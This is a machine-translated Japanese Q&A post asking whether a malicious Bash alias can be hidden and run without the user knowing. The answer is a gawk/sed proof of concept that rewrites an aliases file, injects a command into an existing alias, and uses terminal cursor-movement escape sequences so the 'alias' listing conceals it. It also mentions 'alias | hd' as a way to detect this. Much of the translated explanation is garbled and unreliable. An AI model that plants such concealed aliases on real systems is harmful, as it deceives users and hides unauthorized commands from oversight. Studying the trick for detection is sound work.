LinuxシステムのBashに悪意のあるエイリアスの存在を隠し、知らない間にユーザーが実行することは可能ですか?
LinuxシステムのBashに悪意のあるエイリアスの存在を隠し、知らない間にユーザーが実行することは可能ですか?
回答:
alias
コマンドを使用してエイリアス定義を表示する場合、既存のエイリアスを悪意のあるエイリアスに追加し、カーソル移動を使用してそれを非表示にすることにより、これを行うことができます。これは完全に簡単な方法ではありませんが、しばらくの間検出されない可能性があります。パイプalias
スルーhd
すると、エイリアスにエスケープシーケンス(カーソル移動)があるかどうかがわかります。以下は、悪意のあるコマンドをエイリアスに挿入する方法の概念実証です。
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
コマンドは、「エイリアス」と呼ばれるファイルを適切に変更します。このタイプの実際のスクリプトはスロートに適用され、実際のスクリプトファイルを変更して、悪意のあるエイリアスが次回実行されたときにアクティブになるようにします。hide
引数として実行されるため、この質問で報告されたものと同様のエラーが発生する可能性があります。元の部分と悪意のある部分を逆にしてこれに影響を与えることは可能かもしれませんが、これはエイリアスに提供される引数に干渉します。上記のスクリプトで、引数の終わりをでマークしようとしました--
。&&
パイプで次の部分にパイプし、悪意のあるスクリプト(上記の簡単なecho
コマンドで表されている)stdin
をstdout
パススルーとして機能させて、データを変更するか、データを非表示にすることができます。他のリダイレクションを妨害しないことにより、さらに存在するhide
ように文字列が異なるカーソル移動、元のエイリアスのテキストを含むように変更することができるalias
コマンドが悪意のある一部と一緒にそれを隠すのではなく、非修飾エイリアスを表示するように思われます。. aliases
。このスクリプトを実行し、結果のファイルをで入手します。次に、影響を受けるエイリアスを使用して、実行するとどのように見えるかを確認できますalias|hd
。